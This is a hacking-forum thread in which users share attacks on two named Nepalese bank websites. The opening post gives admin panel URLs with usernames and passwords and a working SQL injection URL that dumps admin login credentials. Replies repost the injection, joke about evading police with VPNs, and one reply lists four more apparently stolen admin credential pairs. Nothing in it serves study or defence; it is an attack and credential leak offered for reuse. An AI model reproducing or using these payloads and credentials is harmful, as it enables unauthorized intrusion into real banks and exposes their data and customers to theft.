[Error667]

Hei,
I was quite boring, and this mini-hack happened :

Code

http://megabanknepal.com/control/

usr : megaadmin
pwd : Meg@p@ss

Secondary ;

usr : forexadmin
pwd : forexpass

Bonus :
Just another bank, simple attack :

Code

http://primebank.com.np/news_detail.php?id=-97%20union%20select%20group_concat%28Loginname,0x3a,loginpassword%29,2,3%20from%20pr1mecom_db.tbl_adminuser--

Follow me on twitter : https://twitter.com/#!/bzyklon
Regards,

Zyklon B

Edit : a n00b probably changed the password, sorry for others. I provided "secondary" login credentials, whose are much less important.

[Qrixin]

Havij hacker...

You even cant do a simple SQLi ?

Code

http://primebank.com.np/news_detail.php?id=-97+union+select+group_concat%28Loginname,0x3a,loginpassword%29,2,3+from+pr1mecom_db.tbl_adminuser--

Anyway good find...

[Error667]

Havij hacker...

You even cant do a simple SQLi ?

Code

http://primebank.com.np/news_detail.php?id=-97+union+select+group_concat%28Loginname,0x3a,loginpassword%29,2,3+from+pr1mecom_db.tbl_adminuser--

Anyway good find...

Havij ? Lol. I just copy/pasted the url, and was too lazy to change %20 by a space, and so on.

[TheDetire]

its says that the acc is invalid?
maybe someone changed it

[xx 0x0 xx]

i like your work brother good work i wish to you good luck :)

[Error667]

Thanks buddies, but this release is quite insignificant, I do not deserve encouragements for that.

[Hycca]

Havij ? Lol. I just copy/pasted the url, and was too lazy to change %20 by a space, and so on.

You don't need to replace it, you can just use load url in hackbar and copy it. However I do believe that you did it manually, good job =).

[unit56]

Love your work always give me a laugh Zyklon, Stay Safe and keep up the good work :)

[Error667]

Love your work always give me a laugh Zyklon, Stay Safe and keep up the good work :)

Thanks a lot bro, but i don't think this is impressive, ain't ?

[Great Prosperity]

I love how people are stupid enough to hack a bank. And the even stupider people who actually tried to login with those credentials. Anyone who logged in got their IP logged. Get ready for a raid by authorities.

[Error667]

I love how people are stupid enough to hack a bank. And the even stupider people who actually tried to login with those credentials. Anyone who logged in got their IP logged. Get ready for a raid by authorities.

I do not care about that anymore ; I privilege my interests to my conscience.
Furthermore, if you are well-hidden (even if you're never 100% safe), i don't think there is a problem.

[Dogelan]

I love how people are stupid enough to hack a bank. And the even stupider people who actually tried to login with those credentials. Anyone who logged in got their IP logged. Get ready for a raid by authorities.

It's called use a fucking VPN 😧

[Hycca]

It's called use a fucking VPN 😧

I find it funny how people think VPN's are safe.

[Savsal14]

I do not care about that anymore ; I privilege my interests to my conscience.
Furthermore, if you are well-hidden (even if you're never 100% safe), i don't think there is a problem.

Yea I agree.

Also I used sqli to find the admin details again.

The only admin accounts I could find weren't working...

username: admin pass: prime@adm1n
username: treasury pass: treasury@prime
username: bikash pass: bikash@12345
username: prajjwal pass: gautam
--
Anyway I really admire your work! Keep it up!

[RIPPER]

nice one mate..As always..
[35 chars/....fafiabfaibgiagbaiguabgabguia]